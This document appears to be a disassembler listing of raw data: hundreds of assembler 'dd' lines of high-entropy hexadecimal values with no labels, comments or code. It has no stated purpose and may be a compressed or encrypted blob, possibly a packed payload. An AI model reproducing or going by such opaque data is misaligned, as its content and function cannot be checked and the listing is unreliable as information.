		dd 3D93B186h, 4FE64F81h, 3014544Ch, 6D0330F3h, 32E96CE2h
		dd 0EE2302C8h, 15ED73D5h, 0CCB02DF9h, 0BDE6C15Eh, 503B54A7h
		dd 18E901FBh, 0D1FF1054h, 7FF5C5BAh, 0E3E55287h, 0C53A04B1h
		dd 18A3FB74h, 2D8EF6D2h, 0A29DD0F5h, 0E49757EDh, 6389B08h
		dd 151BD968h, 0A28A492Bh, 976AC202h, 835C551Dh,	5F120CC8h
		dd 5204688Bh, 0E2E50CE9h, 690120EAh, 0ACDF8A81h, 464C084h
		dd 0E93FD72Ah, 0B9FCD0FDh, 0BF7C79F1h, 1B9900B5h, 95763835h
		dd 7F1344D0h, 7E16A73Ch, 2136A102h, 356E4013h, 0E29F963Dh
		dd 0E5825051h, 5804D23Ch, 0B2935199h, 0E887AEC3h, 4A8F0E9h
		dd 0A8403705h, 0D7E7FB65h, 0D9281684h, 0E9DFFE24h, 3A3F1C8Dh
		dd 384A4910h, 7012D008h, 53751C17h, 84131ADh, 0FFE18BF5h
		dd 0A6F955C6h, 5462688Bh, 0F6F127C1h, 9087BCBh,	0FEE84EC9h
		dd 28A04332h, 68125287h, 0BB3D7C79h, 59017839h,	0D1278B51h
		dd 96903BE7h, 4E401338h, 1C28AF3Eh, 6054F286h, 0E202DA64h
		dd 212FF6D7h, 0BEECCFh,	0AF1D72F7h, 5FB95135h, 0D5B0A16h
		dd 41656A00h, 41016A60h, 820804CFh, 0FF0B522Fh,	503C1E02h
		dd 0F15C4CF7h, 962370ECh, 2FB6403Dh, 3EA4EE28h,	2E6C016h
		dd 80E1D801h, 0CBCC5DEBh, 3EBB00Dh, 47B65244h, 0D2AD5366h
		dd 0DBE29735h, 0F3A19643h, 5DE4305Ah, 56CD7E9Fh, 401CE92Fh
		dd 0F79B80Eh, 515CA356h, 0AE745A64h, 37811CECh,	3C208822h
		dd 0B6626434h, 7195EE43h, 0EA5540F2h, 6A080831h, 0E8BF5644h
		dd 0AC3AC59Dh, 0F4D95177h, 998C840h, 64DD9018h,	569302BFh
		dd 0C6832ED4h, 60E699E1h, 406423DEh, 0B082E045h, 931FF8FCh
		dd 3FB20B47h, 0E5C10A1Bh, 8572485Ah, 10AB5000h,	6839E781h
		dd 0F037508Bh, 0F83F76FDh, 7380B857h, 0B39F5031h, 682D4017h
		dd 0B4099324h, 389556Bh, 0C2D41FE2h, 52267CC9h,	0AC6679D5h
		dd 4B23EB39h, 67107D66h, 0BBC06528h, 798231FCh,	81B1B904h
		dd 17AFA52Bh, 9A6F963h,	7D13D7E9h, 0D0DF25CAh, 366597AAh
		dd 5240AA29h, 2F2B90BAh, 0DFF87591h, 0A0FA59BDh, 4ADF0283h
		dd 0DA291D64h, 5F583DE0h, 0BAB9D2B9h, 0EBECDBD0h, 0BF016440h
		dd 0B47D7689h, 538B4CA6h, 13F9E9F0h, 1258BA80h,	0EC149EFEh
		dd 27F5C9Ah, 48E9F021h,	0F703E87Ch, 9A7881Ch, 9BED75C0h
		dd 2C47AE6Bh, 203ACD01h, 0BF958008h, 0F8411418h, 9105FE50h
		dd 0AF22B67Ch, 8C31A797h, 0E860D806h, 5D0A4031h, 133783A0h
		dd 43296B1Fh, 0ABC17A4Bh, 59A5D621h, 0E5166B4Eh, 882774BBh
		dd 0C7403ADDh, 79F3B859h, 15732FD8h, 2055BE12h,	68515551h
		dd 957F178Fh, 1EBB0417h, 77BB0B98h, 585F664Ah, 955D9070h
		dd 0A03DE1DCh, 9A34C54Ch, 0E352EC8Dh, 42D4FF5Ch, 924063A7h
		dd 0FB72020Eh, 4476684Fh, 2073A96Ch, 7847732Fh,	934F4CC1h
		dd 1206D724h, 0E516BFB0h, 0ABD6B8F3h, 0B92BDE38h, 9B3822Dh
		dd 9AF21E99h, 17510882h, 76C46847h, 4FE96398h, 2F7A8869h
		dd 8F11C248h, 2927C9F1h, 93E55788h, 0C7C5E984h,	0FBD205B8h
		dd 0FE2A224h, 0A28EB97h, 85ED5BE9h, 5FCFAF06h, 9340E90Bh
		dd 0ACF56FE8h, 0A97E780Bh, 12E17C29h, 0BDE8B0ADh, 1445400Fh
		dd 5B8C841Fh, 9F929DA8h, 6C312F54h, 3BD4977Eh, 34E67ECBh
		dd 0A571B850h, 6E0B8580h, 9031E64Dh, 0DC9825B1h, 0D62768FBh
		dd 0F17CBFD8h, 2479D7C2h, 9768D5E9h, 6F1F6762h,	3F802D28h
		dd 76350D0Bh, 78DD3D09h, 0E9658D6Eh, 5A85E036h,	0C706609Dh
		dd 337F9566h, 0CF12D9CAh, 0EA92DE6Ch, 93B22FC4h, 0F6B5FE92h
		dd 0CDE93350h, 82528129h, 805059EAh, 965B740Bh,	5AA14B75h
		dd 6841E071h, 0F7C2781Dh, 5CC65659h, 0B119019h,	6F4F2B4Dh
		dd 0D89D3D50h, 0FEAC97FFh, 0CB01EA5Ch, 0E9F4F2B4h, 50631780h
		dd 5BBB9F4Eh, 8B2BB0E1h, 0CA814F55h, 4EAD9412h,	4A02CC76h
		dd 402F8775h, 53210EAh,	49E90ECCh, 254BEB4Eh, 0C6E4F5BBh
		dd 2B9C30F0h, 0B414412Ch, 0A20A20C8h, 1E585F7Bh, 2A6C6817h
		dd 61ACC660h, 0F74601D6h, 206847D7h, 5153672h, 34A937F9h
		dd 382DBA00h, 9C017335h, 2FE10129h, 0DB656960h,	0AFCCAFCFh
		dd 0E92DCF1Eh, 49C684A2h, 250A2280h, 214E1FF9h,	0AD249FC1h
		dd 35952568h, 0AD5E4BFh, 9DD31431h, 6FC527EBh, 19D1018Ch
		dd 261BB85Ah, 82D32A28h, 612B6D0Dh, 0A01EC05Dh,	0EB810B85h
		dd 30FDC709h, 81824CB2h, 260FE31h, 7BF15EF3h, 0AD2A9C6h
		dd 502A7A2Bh, 69030208h, 0E8577E55h, 26594DD5h,	0A51A6680h
		dd 134F27F4h, 4905B4A2h, 84FC3EC0h, 5B25E83Fh, 1AA1BDA9h
		dd 0E4282B35h, 25AD4F48h, 9C76AE41h, 8D6CB59Ch,	0D8C69F2h
		dd 8670E95Bh, 6CC53F5Bh, 0E1F13CAAh, 7FEB5C44h,	7F6130C2h
		dd 8C443FA4h, 27E5544Bh, 821C0806h, 49F05514h, 0E9E359B5h
		dd 25EB7155h, 349B9757h, 494B9A08h, 1DED5BA0h, 544C9481h
		dd 0B5E7403Eh, 4205F314h, 93D6E949h, 9218AEBh, 0F909E368h
		dd 0DB3342DCh, 2F14CE5Dh, 0DD705768h, 0C4345E9Fh, 2E34E114h
		dd 539FD6EDh, 0BE2BC013h, 23D6A18h, 0F0212767h,	0C739BCB4h
		dd 0D089D45Fh, 4FD5BB5Bh, 7D10A125h, 0E912346Ch, 7E4E530Bh
		dd 2FFBE4F2h, 28C48FF8h, 0B9CEFA68h, 404812h, 94842D87h
		dd 35071C4Eh, 7D6A195Eh, 9C0C4C50h, 1784B552h, 25A2A8D5h
		dd 0AF945C05h, 5B53217Fh, 0F66FD730h, 0F84879C2h, 32F01732h
		dd 0EF1470BAh, 410967E8h, 8CF2927h, 5902083Fh, 0D16D7168h
		dd 0A6B8B61h, 7D017EC8h, 0F032EF3Dh, 91A8594Bh,	0B652AAC0h
		dd 8EE480F6h, 10BF284Ch, 817C0E2h, 9DD808E3h, 4457531Fh
		dd 0C5AC85C5h, 9F65FD4Fh, 0D9CCD1CDh, 98AF3FCh,	5E2C4762h
		dd 612EAE57h, 92A467Eh,	3C3CFE60h, 1096C0Eh, 0F0C25AD3h
		dd 7B2FD038h, 1CBAADD2h, 0E0E671h, 78DE1CC5h, 8B485E9h
		dd 5B886802h, 0C146405Eh
		dd 350802E8h, 9714C53h,	3F80C389h, 29D4210Fh, 723986C0h
		dd 0C1434910h, 6E9CA60Eh, 7AF37FD7h, 0E1B1E912h, 3A012A0Ah
		dd 231D6561h, 0AB76A07Fh, 88FF48B5h, 4807B8D3h,	0B2A77180h
		dd 99DC03EEh, 0B04756ADh, 84589AF8h, 0AEDD00B5h, 9D1DAD4Ch
		dd 0F5AFDCFCh, 76A5279Dh, 0E83208E8h, 2A65E831h, 7D31D0DCh
		dd 426E5BDEh, 6D2BDB8h,	5A8C23FDh, 0C521D17Eh, 56E94510h
		dd 16944A5Bh, 0FC7AD80Dh, 9518830h, 85F8E921h, 73F43FC6h
		dd 19EF355Ch, 0C6AD1422h, 0ED47A56Bh, 801C243Fh, 8839EE06h
		dd 2C4E5AF5h, 61AF5D4Fh, 1DD3099h, 0A159EB88h, 0F5C6D7C2h
		dd 0E133520h, 9A37EFB9h, 537E83EFh, 214F0157h, 60207756h
		dd 163BB82Ch, 4CBCD08Ah, 8363926h, 559B3D09h, 80961916h
		dd 75F7ED09h, 0B19F874Eh, 20DA5217h, 0EE4C78BEh, 0F509620Bh
		dd 9722385Eh, 25582B3h,	9D4C3E2h, 1CFF7042h, 1BBA07B1h
		dd 0E006AE50h, 0B62DEECAh, 80A5765Fh, 8537AD2Ah, 29BF375Dh
		dd 2E87BBBh, 2A43E5B1h,	2F5CD973h, 0F9A34D18h, 2D1E2CCh
		dd 23213F31h, 0CD3AB0ADh, 71BE2A0Dh, 78393CD4h,	0C20ECBA8h
		dd 0A71E7F3Dh, 0A2F76628h, 0E9A0F396h, 0E9C93BF5h, 82FCB820h
		dd 58B343F5h, 58106459h, 45357510h, 0FF80A02h, 760BA0E7h
		dd 0D6C04658h, 961BC708h, 4A0A38E9h, 9B99FF4Eh,	4E336720h
		dd 0B6A69126h, 101E6240h, 6809F4ABh, 2C467EA2h,	8210144h
		dd 0E775E9D8h, 0DE12F22Ch, 48C9BF00h, 984B5C76h, 0D980B77Ah
		dd 419177D1h, 0A73ECBECh, 6F02AE67h, 0BC46FE60h, 0F8014EAAh
		dd 0E94F87C4h, 6D8D7A15h, 0FD49946Ah, 0D1A711E5h, 8C100048h
		dd 0B4307C11h, 29EB3701h, 16125819h, 196AC334h,	6F543008h
		dd 4ADF5243h, 6272100Bh, 0C9AA6140h, 3FDD1975h,	456BBEF1h
		dd 0EAB9685Ch, 0BB2458Ch, 2885B003h, 0B5128075h, 0CBE80872h
		dd 0B3993262h, 0B2CE4CCh, 0E537A9Eh, 41C26846h,	25DCBB12h
		dd 0B8FF955Ah, 915094EEh, 9659983Ch, 0BC9F513Ah, 0D564AADDh
		dd 98166EE7h, 4E29C6B0h, 25F2E8h, 0D6CD814Dh, 5B75F018h
		dd 738EFD45h, 5349B302h, 7FEB89FAh, 0CE603D4Ah,	0CB092D55h
		dd 0C18AE9B4h, 0D3DB564Dh, 0C5F90138h, 6BCD0B10h, 0A0E825Ah
		dd 0EE491D50h, 6023218Ch, 79541069h, 10FD9536h,	26516625h
		dd 13E0B353h, 15BB091h,	2B2DF802h, 7F385A17h, 8689EC9Ah
		dd 4A0077D8h, 91F28142h, 0C16FC52Bh, 0AD92870Ch, 0E9C860D6h
		dd 2AAAEF32h, 0B91861B6h, 0A63A0FA4h, 9421172Ch, 82D5BA5Fh
		dd 7118B5ACh, 4EFE2BB8h, 93EB70F0h, 1D425F10h, 0E73CB768h
		dd 98F508FDh, 17BAB801h, 9344B954h, 2909D3BBh, 0D9EAE9B1h
		dd 2DAF3BFFh, 0F84EA566h, 0E2034F9Eh, 1D1905Bh,	0C2B599DCh
		dd 0CB2EF831h, 50375031h, 6039233Fh, 2EDA4330h,	0A70552BBh
		dd 5E4DE916h, 0B1F18314h, 57D2970Bh, 95200B74h,	10C4D025h
		dd 5EB8681Bh, 0FE3A6540h, 570612E7h, 0DB7B38E9h, 3928EB4Ah
		dd 8EDF5D01h, 0C9DC588Bh, 0FEFFBA41h, 1F4A3AA4h, 21A26FCBh
		dd 8009C984h, 0B860692Bh, 0A24A4862h, 0BB236524h, 13B25D25h
		dd 514FC957h, 0BD382EF8h, 0AE3202E5h, 0BDEA50F3h, 0A2FAB25Ch
		dd 0D48B345Ch, 0C552E421h, 0FE67A0B5h, 0ECD0CC12h, 763BC70Bh
		dd 78EE8108h, 403C5C3Dh, 0F561F29Ah, 0D7FD6A4Bh, 0E55A6648h
		dd 17FC0197h, 60BB2EE6h, 68C80F81h, 32FA6A4Fh, 99AB217Fh
		dd 5D09BA77h, 0F3259C4h, 0FD5D4CE1h, 799E6F16h,	3E30B658h
		dd 0F1026984h, 26C03438h, 75F07570h, 0B0BBFB12h, 900A2EAh
		dd 0D7AF8BE9h, 0F42DC4CEh, 27E0C530h, 0DFF76257h, 113556Eh
		dd 0CEFF59CFh, 28D34C6Eh, 940B511Eh, 87658E1Dh,	0AB92718Ch
		dd 0F9C977F6h, 5A8B38C3h, 81B461E4h, 0C4AB42D4h, 54106209h
		dd 0B1A3C56Ah, 0D18C3B23h, 2C0694ECh, 0DA07032Ch, 629EF75Bh
		dd 0C42AFD41h, 4AB0EF2Bh, 0C99AC15Eh, 0AD381672h, 0A0EE7CCFh
		dd 96AA10Bh, 286DB400h,	0EBE4E75Ah, 33DE5929h, 0ED645A25h
		dd 8682284Bh, 9D9ED811h, 5B7B01C4h, 0DEFE2338h,	4220BA3h
		dd 0D71A1669h, 61F73DB2h, 41EA1278h, 53856924h,	520BFDE9h
		dd 0B0E0FBC0h, 0AE47486Fh, 2977662Dh, 51C35FDDh, 0D24B782Ch
		dd 3094DDA7h, 1D48E530h, 0B02576C3h, 5FDCF6D2h,	0CEAAD01Fh
		dd 0AB3510BBh, 8C810C37h, 648E747Fh, 80098245h,	0E9A268DFh
		dd 30215492h, 293F2568h, 0A02513E6h, 0E0D9741Eh, 0F1808FB1h
		dd 0AEEDC45Eh, 0E541AA50h, 32F15802h, 40780E4Bh, 5223170Bh
		dd 42680251h, 590DA277h, 984D68DFh, 0CF9C2EB7h,	2DE2104Dh
		dd 0B5E5FA5Eh, 0C3516DEh, 0ED22F1AEh, 0E1007E60h, 0BF1F34BDh
		dd 4B46B062h, 5ADAF255h, 43EC91E1h, 0FF9DD79Ch,	5340C7D9h
		dd 261D155Ah, 9654E44h,	0EEC68FC7h, 0BF85985Fh,	0CFAB0353h
		dd 16680954h, 13B8DF12h, 0F484A691h, 142D2823h,	0E4090B87h
		dd 9F7666E3h, 43EF2113h, 1002047Eh, 0B9B86085h,	0B02426C6h
		dd 5F02090Fh, 0F5605BEDh, 0F28CAD5Bh, 3C286CD9h, 0D21250C3h
		dd 44DF5DEh, 9C3ACB3h, 0F8434AC5h, 265209FDh, 0CC5F3630h
		dd 71E0FD33h, 2DE32765h, 0B78358D4h, 0F0108005h, 267DBFEAh
		dd 3D7B24h, 5F9643D5h, 44B4D789h, 2DBA5669h, 0C966EBA2h
		dd 0E5EA6E0Fh, 9A444B44h, 8ABB3CC8h, 41A13A1Dh,	3506A940h
		dd 0F516002Ch, 0DEAD2D6Eh, 0D2B55175h, 0E9DB09D3h, 535F3C49h
		dd 31A53D9Ah, 96F7338Bh, 7DF3954Bh, 0C8906509h,	0EC053D8Ah
		dd 9160FD4Eh, 3B234146h, 28D00E02h, 7C0009EEh, 0C0C6FE9Bh
		dd 13B75CD0h, 6BA44AF2h, 436E4DB0h, 0FEE3A750h,	12B261DBh
		dd 0E57D39B9h, 0CD803E6Dh, 0BF2B522Fh, 82462161h, 17194BAAh
		dd 0AFD94078h, 30250427h, 0E25964E9h, 6D37EA9h,	0CFFF9B97h
		dd 0B7FBF2F7h, 0F3680975h, 649B5C5Dh, 0A85DD4A5h, 73761375h
		dd 0EE970AE2h, 0FFD102Dh, 6130C36h, 0A2F5D185h,	0CF4A3492h
		dd 44FF40Eh, 0F0F7C73Bh, 0C1BB15B2h, 946BE8DFh,	0A882809Eh
		dd 0A096A941h, 0A48DB10h, 9A6A4D12h, 0A0DD4BCEh, 0C17B489Dh
		dd 0D7E93DDEh, 8EAB854Ch, 22EB9806h, 4BC905DDh,	0DF687858h
		dd 18D02D0Ch, 0F0681E56h, 1F6A1F3Bh, 540B494Eh,	5C45F5DCh
		dd 0C70528AFh, 2D48B040h, 3848B52Dh, 16CF1807h,	0F657E550h
		dd 380C36C6h, 0E98BB74Fh, 19CCC01Bh, 7447A127h,	0A8417268h
		dd 0B80105ABh, 39EB1767h, 8C2507Ah, 235F0C6Bh, 0EA835ED6h
		dd 8FAB7102h, 0EB735CE9h, 2D025375h, 0C0A76163h, 7649EE18h
		dd 0F56E4E4Ch, 1C08068Bh, 205A1481h, 8982976Bh,	199C75EAh
		dd 853BA039h, 3E0DE92Eh, 3A8D321h, 60DA46FDh, 0CB25C705h
		dd 0D605F1Ah, 0D2301561h, 4573A260h, 400C4CB8h,	324AD505h
		dd 85E4EB0Eh, 95DEEEEh,	7CE94255h, 34D7DD42h, 48E7A02Eh
		dd 385A2C45h, 93060F04h, 0B850801Ch, 10D5257Fh,	53160FE6h
		dd 1EF4F71h, 22D30545h,	6F35E09Bh, 47EA4C03h, 1D0E5DE9h
		dd 0F9FD2952h, 420E0CB0h, 3109E281h, 802ABD67h,	0B8662C91h
		dd 88B9653h, 5E060B6Ch,	0E6C2EDC1h, 8F643914h, 0A00C0CE7h
		dd 2A688857h, 0F1307C4Fh, 60474AADh, 723FAA7Eh,	52BD090Bh
		dd 0D624248Fh, 0ABE1820Bh, 7BE04718h, 57806E12h, 1E579F58h
		dd 1A8224B2h, 0A8C98000h, 416F794Bh, 2B5877Dh, 5FB4DBC7h
		dd 21CA2F5Eh, 0B574D210h, 4499C71h, 0E4125991h,	3B1E3610h
		dd 7EE7125Ch, 0FA74EBE9h, 0D613EEC2h, 79256FC1h, 851CBDCFh
		dd 0DCFE5997h, 0BF5DE94Ah
		dd 6855010Fh, 4C0C5622h, 0CF56420h, 11744597h, 701B3A0Ch
		dd 0FD8632D8h, 177627EDh, 1E0B3E36h, 62BBB925h,	0FA21E212h
		dd 70C2301Ch, 4041B552h, 306E93ACh, 10C731Fh, 470A2B3Fh
		dd 0D6492968h, 8E025A6Ah, 0F701D776h, 4CCA2AC4h, 773C0CF1h
		dd 4BAEC60Ah, 0CE12E4A4h, 0B08AC10h, 0F1084CE9h, 0F168580Ch
		dd 1C49295Bh, 0DD67FD63h, 0DF765509h, 0AF5CBE19h, 8ADCDC61h
		dd 0A5E8CD26h, 5C2FB2D4h, 34204F8h, 57FC143h, 0F1858119h
		dd 6CB97FBDh, 0A9C2EF44h, 0E0D002F3h, 51AA061h,	2F08A1BAh
		dd 0C52010h, 6AE6C7C5h,	0F76F09DDh, 3F84D068h, 0C280009Fh
		dd 98D088D3h, 94FD272Ch, 59CAD65Eh, 0C9ED3144h,	6837C102h
		dd 0E38160B8h, 0CE3C80D6h, 5D3D7356h, 0B8B30B22h, 0A0DC0220h
		dd 626EDCD3h, 0B9003A92h, 7ADD0451h, 7945A18h, 0F012D3Ch
		dd 2746392Fh, 350714AEh, 6BDAA48Bh, 0DF1E89A2h,	4F0FB64h
		dd 0DE9ADC58h, 74E6220Bh, 6F68E176h, 0C05C6818h, 2EE856BBh
		dd 0F1FEBF8Bh, 0BD53FB70h, 9020F416h, 0F68101F0h, 96C4C9Ah
		dd 3DA96F21h, 6C4E9E3Bh, 0C05FE9B0h, 0C2212B81h, 8F258B62h
		dd 71D0796Bh, 705A0F5Ch, 82010FEh, 29D1EA4Bh, 0E5D633E9h
		dd 0A1FF2DA0h, 0DEA685Bh, 2E0FE4E2h, 3E33F786h,	28495303h
		dd 0ADA45945h, 0B6AC04DFh, 88BBBAD7h, 0F0B15AB1h, 71792B69h
		dd 466657Bh, 0ED99F63h,	0B06A8B68h, 810F4450h, 0C9F12F5Dh
		dd 32FFF13Ah, 0E9A85B60h, 5B9EA95Eh, 0ACAE9B24h, 4FE9B894h
		dd 5AE40A4Bh, 65ADBCBCh, 0DDF7B802h, 5E828BE0h,	0E1B48382h
		dd 0FCFA0502h, 0C101400Fh, 2DB71889h, 16FA5FE5h, 0B890B20h
		dd 92A011F0h, 0EA7528D7h, 65EFD7E5h, 0BAA2D4A9h, 68827AEDh
		dd 6974E3h, 4BEC6CCBh, 464BB38Eh, 9F56CFF7h, 0F9E5899Fh
		dd 948408DFh, 0EF17A026h, 0F62444BEh, 498CEF22h, 0A2994E4Ah
		dd 0A3A15EADh, 111D4F62h, 0E94F4573h, 6670F0B6h, 241CD295h
		dd 0E0DF679h, 65FDEB88h, 3FC11449h, 57589982h, 0CC0A8E48h
		dd 369D2097h, 0DC3C2673h, 8BB7E09Eh, 0D2CB54FEh, 764F536Eh
		dd 9BEF2917h, 100B13A2h, 1A1A9BE9h, 51550C25h, 35204CE3h
		dd 0EB8E340h, 40945CEDh, 90E6EC37h, 5F2F0283h, 8529727Ch
		dd 819EA8Bh, 0A17F5EB5h, 0C247A58Ah, 926F63E6h,	505A0138h
		dd 4EBC2054h, 0E301539Ah, 296ABF42h, 74305F8h, 0ADAAB45Fh
		dd 2BE17DFCh, 0DA8966BAh, 0DEA1114Ah, 0D2BEE26Bh, 28BA6421h
		dd 26D45B02h, 7D336862h, 7DAD25F1h, 0AC857989h,	0DFA14E2Bh
		dd 7400FE4Bh, 723C2550h, 6F5D0CC0h, 0A00136F1h,	98E883D6h
		dd 0AFEB2047h, 6D8EBB00h, 21687F27h, 0ECDD4BABh, 16B712D8h
		dd 8C157DF9h, 0D70BF74Dh, 0FA00565Ah, 51457972h, 0C0B05D73h
		dd 131F6213h, 0AE8DD505h, 20DC6BE5h, 26491A3h, 3ECD63D3h
		dd 71520B40h, 13D3826h,	5D52101h, 7DF9E97Ch, 0C964BC57h
		dd 0EA8087E8h, 7BE6E92h, 0C200849Ch, 8006F469h,	99D9252h
		dd 1BBB4554h, 2E071528h, 0DAFD5248h, 20681676h,	0C533CD38h
		dd 0B9C92AE5h, 1B9FEC3Ah, 12D126BFh, 95BC7522h,	0BC94EFE5h
		dd 44FFDFAh, 1B3429C7h,	840F8F9h, 0E92A5E68h, 8B21104Dh
		dd 8658EE4Bh, 9A3363Ah,	0CE093739h, 1CA9D277h, 0D7D5F766h
		dd 7D49A045h, 0ED0A1C61h, 158F2024h, 0AAF38C15h, 0A212E51Bh
		dd 840F93Fh, 4F1FCB58h,	7AC8CF41h, 7D311A16h, 0C00023CDh
		dd 0F0B507E7h, 31043898h, 122CF81Dh, 0BC91C85Bh, 84EC754Dh
		dd 491DCE50h, 2580F454h, 64E26857h, 0C20C0A28h,	0BBBF73Fh
		dd 0A0D148F0h, 0B9F508Eh, 2AD79576h, 6B10ACAFh,	84E9B85Fh
		dd 28BE43F2h, 0BA648A33h, 64541C71h, 0B306484h,	73A08140h
		dd 33609E2Ah, 689340A3h, 54291D2Fh, 0DDBB61B5h,	0AC472E71h
		dd 0DCA918B6h, 980C08FEh, 0FED6010Fh, 101BF80Dh, 0B964336h
		dd 0DEC837BFh, 2080810Dh, 49B4FAE1h, 592765A4h,	0E7812EFCh
		dd 402415B5h, 79DF13Ah,	700B0093h, 6105B949h, 311E1176h
		dd 40AFD9BEh, 8A96A30Fh, 0EE4EA876h, 7490D97h, 569BE615h
		dd 3524087h, 34C14AD4h,	1CEB3B1Eh, 1321E931h, 6EBE9410h
		dd 0A34056Bh, 0AE06EEC1h, 0D756EF82h, 5E4C1C6Eh, 35810440h
		dd 188369C4h, 5600949Ch, 445180BEh, 95EC224Fh, 3530AF5Fh
		dd 3E6A28EEh, 0C7F2B0Ah, 595E5D94h, 0EA3D6E24h,	49BC4BB9h
		dd 7029EE5Fh, 2EABC92Ah, 88C518ACh, 1DCAAA1Dh, 88998D16h
		dd 0F813D62Eh, 0F5094B9Fh, 77A665Eh, 3DFB951h, 3E8D5A6Eh
		dd 1F2A4D82h, 0E475D1F7h, 0B21209C6h, 10D7EE79h, 93F3974h
		dd 0D6E92A17h, 0DC25FA76h, 0F401EB2Ch, 40775A7Fh, 2DF8ED83h
		dd 343A0139h, 81A1CF5h,	0E914011Ch, 893ECC63h, 68B82AB3h
		dd 16425819h, 55812EACh, 27ADA937h, 0EEA8AAFCh,	6845471Bh
		dd 6D18C0F2h, 3678B75Ch, 933F6B5h, 5541D7E9h, 47F22F05h
		dd 1658352Dh, 492C79B5h, 0EA977004h, 0FFD23DE2h, 0E909BC2Eh
		dd 0EED7F161h, 9AB91F3h, 94DF5A49h, 0D605169Ah,	656B1D43h
		dd 0DEE609D7h, 700E080Ah, 604ED632h, 9217B85h, 0EAD158C2h
		dd 0D0329B7Dh, 3F4C395Dh, 0DF4C896Bh, 0E3A71F30h, 51583210h
		dd 87851365h, 0F95BA0B2h, 2921053h, 0CEF68101h,	201E2344h
		dd 4712762Fh, 524BEA15h, 4043D150h, 0C03D1868h,	0E136748h
		dd 0A91C27E9h, 0C1304302h, 3D34BBFBh, 0E7704FACh, 16631503h
		dd 79B90226h, 0C00B201Dh, 5872A528h, 0EA01908Ch, 2B5935ADh
		dd 0F12E6421h, 0D4AB214h, 65C907DFh, 0C289C83Ch, 46DE4A9h
		dd 0A1C46C59h, 5805A501h, 680553B3h, 7F8C780Ah,	8F36E4FEh
		dd 0E732513Fh, 72068B0Ch, 0CDEB0564h, 0FF351588h, 4CFCCA0h
		dd 28D75E68h, 0BE66C047h, 21612D32h, 0FB6CE31Ah, 8D0C26FFh
		dd 176122Fh, 0EBF29833h, 72D29EDBh, 294A439Fh, 820DEFAh
		dd 945E5F25h, 0BF6D9030h, 9CDF0709h, 5734405Ch,	2F7FA7AAh
		dd 0DC1524ECh, 1BC9E7ACh, 8D6D715Fh, 815715D9h,	1E4F8720h
		dd 56242912h, 7422599Ah, 5E326485h, 53BE133Ch, 3A8AABA3h
		dd 0BD34DC12h, 12127573h, 5FFF6B97h, 74320496h,	500BF4Bh
		dd 0BA06D8D9h, 5DE80031h, 0F03AB40Dh, 0BB0B2D1Bh, 495BF27Ah
		dd 7DCE8134h, 589FF34Eh, 1AB902FFh, 415FD312h, 0F8FEFD80h
		dd 0CC71568h, 7B66669Bh, 50F1071Ah, 0C48ACFC3h,	0C0C7B03Fh
		dd 2C4435EDh, 79AA5BAAh, 125729DFh, 0EB953FA3h,	70CBA1EEh
		dd 0BBAA6D98h, 426BC261h, 694097C7h, 0B92006C1h, 76031323h
		dd 40E5C0F2h, 607C0B47h, 0D7AAFBF3h, 0B5E18D8Fh, 3A6CAFBAh
		dd 0F6069391h, 2ED2FB04h, 0BFC95EEDh, 2F41692Dh, 81B83E5Ah
		dd 0EF25B8C5h, 56C82B44h, 7B09680Bh, 0BCFAEC64h, 0C51BEA62h
		dd 84FCD10Ch, 0D04E27C3h, 6540C076h, 89C1324Ah,	2ABB4333h
		dd 61C4E0C1h, 2249F296h, 5F1020DBh, 0D1EB4D18h,	7E3469C4h
		dd 853BCBAFh, 0E2AA5951h, 37E993B3h, 1ECAB980h,	6AB0390Bh
		dd 0B1304B7Eh, 0BCEF0C79h, 114D5C43h, 5B0CF64Ah, 73B761BAh
		dd 70AC748Ah, 481DEF41h, 144B96Bh, 7EC58718h, 8A60D529h
		dd 0DE719D05h, 29896BCh, 51DCFAD0h, 0C0685A4Eh,	0B7BFD9Fh
		dd 2F97D4B7h, 0E970047Eh, 0FC754FCBh, 0C204D6A0h, 752790F3h
		dd 135D5E7h, 0BF0C4F6Ch, 787C707Fh, 45D55410h, 3B99E43Dh
		dd 325954BEh, 2CE9CFE0h, 0BC34713h, 69C8171Bh, 7B08B309h
		dd 0AA0C3008h, 85B5633h, 456EE0F8h, 0E353FE12h,	6165391Fh
		dd 0FBD658CCh, 0C97BFFBh
		dd 5D2E395h, 0D47DA463h, 933FF7BAh, 9C9A6693h, 343B7E18h
		dd 6AF0CA4Ah, 0E8DD8A9Bh, 4DF5388Eh, 0BAD395FEh, 0CF6C1014h
		dd 6D622157h, 7D855872h, 212947E9h, 6116BA84h, 40346284h
		dd 74BD5808h, 9726AD9h,	41D141A0h, 0E016A7BCh, 5AF93171h
		dd 2453AE5Fh, 4C70A7BBh, 551A06EBh, 0BD81D66h, 5CD922CCh
		dd 0DB806154h, 96F865Eh, 0D5F07F8h, 40412047h, 1880A505h
		dd 3E85C05Fh, 67428FFEh, 8BFF2B54h, 7D31D72Eh, 7F17A730h
		dd 5C4A14E4h, 0EF15BBE2h, 0B74A3EDh, 2EA966CAh,	4E76BC8Bh
		dd 91355983h, 0E20C094Eh, 0EAD51963h, 0C080D65h, 74C01417h
		dd 3946FC14h, 0E75C3CE9h, 0F791EBD2h, 8000EF9Eh, 6C3CDECh
		dd 0C7C4FE10h, 0A8EA5124h, 2CE84A7Eh, 0C34B28ACh, 0E9BBC8BFh
		dd 5E2C6027h, 0CCF5DAF0h, 66DE20DCh, 14D62927h,	21E91B9Ch
		dd 0CB8020A0h, 0FD953059h, 1A04C3A0h, 0D701CE9h, 5881F4B5h
		dd 0E6B321FBh, 0DDE9F642h, 0FA3C9966h, 9AA9234h, 0C3C678A8h
		dd 0EB074330h, 778923CBh, 17EE666Fh, 0D0017C5Eh, 1C68081Ch
		dd 0CF452714h, 13014328h, 0E926884Fh, 6DAA5EFDh, 6FE4F221h
		dd 13E76FFCh, 0E8D3D409h, 6BB45ABDh, 6D8509EFh,	0B883379Ah
		dd 0C2E4F703h, 800B11A8h, 8F02C8CAh, 4485818h, 18D78277h
		dd 81F501C3h, 0C7856F5Eh, 0FD4CD0A9h, 0C8578217h, 0F6515118h
		dd 425DFAC9h, 648D5C7Dh, 4BC1FEA5h, 1093E5C1h, 5942BA40h
		dd 60F63FCEh, 941C93F4h, 2A1451F2h, 0CA16598Eh,	5233C83Ah
		dd 69407CB8h, 71DB9856h, 1B7F3E5Ah, 218D3916h, 5F2F7B6h
		dd 0B857C4EFh, 0D8767A1Ah, 0B6F93D09h, 1FF25D02h, 52DC0B01h
		dd 0E14E964h, 9FDBF37Ah, 93E11792h, 9B8A960h, 8937576Eh
		dd 31D1C807h, 6C22E94Fh, 0C7800764h, 7E6B3061h,	44806904h
